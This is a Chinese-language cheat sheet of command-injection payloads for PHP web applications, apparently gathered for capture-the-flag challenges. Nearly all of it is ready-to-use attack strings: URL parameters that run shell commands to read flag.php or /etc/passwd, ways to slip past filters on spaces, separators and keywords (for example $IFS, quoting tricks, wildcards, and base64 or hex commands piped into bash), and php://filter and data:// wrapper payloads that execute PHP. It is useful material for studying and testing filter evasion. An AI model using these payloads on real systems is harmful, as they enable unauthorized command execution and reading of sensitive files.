命令执行的常见姿势
命令执行的常见姿势
?c=cat flag.php;
?c=tac flag.php||
?c=tac<fla’'g.php||
?c=tac<fla’'g.php||
tac<fla’'g.php||
?c=tac<fla’'g.php||
?c=tac<fla’'g.php||
?c=tac<fla’'g.php||
c=tac<fla’'g.php||
?c=nl<fla’'g.php||
?c=nl${IFS}fl’'ag.php||
?c=nl${IFS}fl’'ag.php
?c=/bin/c??${IFS}???
?c=system(“cat flag.php”);
?c=echo `ls`;
分隔符和空格被过滤,联合执行命令:
?ip=%0acd%09..%0als =?ip=;cd ..;ls
过滤目录分隔符**/**总结:
1、用反斜杠查看文件夹内容|ls \flag_is_here 或者直接|ls flag_is_here
2、分号同步执行cd和cat命令
127.0.0.1&cd flag_is_here;tac flag_224812813310817.php
竖线被过滤可以用分号代替
黑洞
system($c." >/dev/null 2>&1"); //黑洞尝试分号绕过
payload:c=tac f*%26%26ls;
空格绕过方式
1.$IFS
2.$IFS$1
3.${IFS} – 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来
结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
4.$IFS$9 – 后面加个$与{}类似,起截断作用,$9是当前系统shell
进程第九个参数持有者,始终为空字符串,如
cat$IFS2$9flag.php
5.< 比如cat<a.tct:表示cat a.txt
6.<> 比如cat<>a.tct:表示cat a.txt
7.{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
8.%20: 空格的URL编码
9.%09: 需要php环境,如cat%09flag.php
过滤空格常见绕过方式:1.
文件函数绕过:
2.cat–由第一行开始显示内容,并将所有内容输出
3.tac–从最后一行倒序显示内容,并将所有内容输出
4.more– 根据窗口大小,一页一页的现实文件内容
5.**less **和more类似,但其优点可以往前翻页,而且进行可以搜索字符
6.head– 只显示头几行
7.**tail **–只显示最后几行
8.**nl **–类似于cat -n,显示时输出行号
9.tailf– 类似于tail -f
10.**vim **–使用vim工具打开文本
11.**vi **–使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
12.sort
文件函数绕过:
1.system()
2.passthru()
3.exec()
4.shell_exec()
5.popen()
6.proc_open()
7.pcntl_exec()
8.反引号**`` **同shell_exec()
9.system(“cat /etc/passwd”)<=>“\x73\x79\x73\x74\x65\x6d”("cat
/etc/passwd");
10. <=>
11. (sy.(st).em)(“cat /etc/passwd”);<=>
命令执行函数绕过:
1.**wh\o\ami ** //反斜线绕过
2.who"a"mi //双引号绕过
3.**whoa’m’i ** //单引号绕过
4.**whoam``i ** //反引号绕过
5.echo d2hvYW1p|base64 -d|sh
#base64绕过,其中d2hvYW1p是whoami的base64编码
6.echo d2hvYW1p|base64 -d|bash
#base64绕过,其中d2hvYW1p是whoami的base64编码
7.`echo d2hvYW1p|base64 -d`
//将其base64解码,然后用反引号来执行命令
8.echo 77686F616D69 | xxd -r -p | bash
//hex绕过,其中77686F616D69是whoami的hex编码
9.//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
10.wh$1oami
11.who$@ami
12.whoa$*mi
过滤关键字段
1.**cat fl[abc]g.php ** //匹配[abc]中的任何一个
2.cat f[a-z]ag.txt //匹配a-z范围的任何字符
3.**cat fla* ** //用*匹配任意
4.a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php//内联执行
5. //正则
6.利用正则:比如要读取etc/passwd
7. cat /???/???
8.cat /???/pass*
9.cat /etc$u/passwd
绕过文件名通配符绕过,绕过重要字段:
1. payload1:c=system(“nl fla???”);
2. payload2:c=system(“nl fla*”);
3. payload3:c=echo `nl fl’'ag.php`;或者c=echo
`nl fl“”ag.php`;
4. payload4:c=echo `nl fl\ag.php`;//转义字符绕
过
5. payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
6. payload6:c=eval($_GET[1]);&1=system(‘nl flag.php’);
7. payload7:c=awk ‘{printf $0}’ flag.php||
另类操作
1. c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
2. c=include$_GET[1]?>&1=data://text/plain,
3. c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
4、
c= data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
上面解码是<?php system('cat flag.php');?>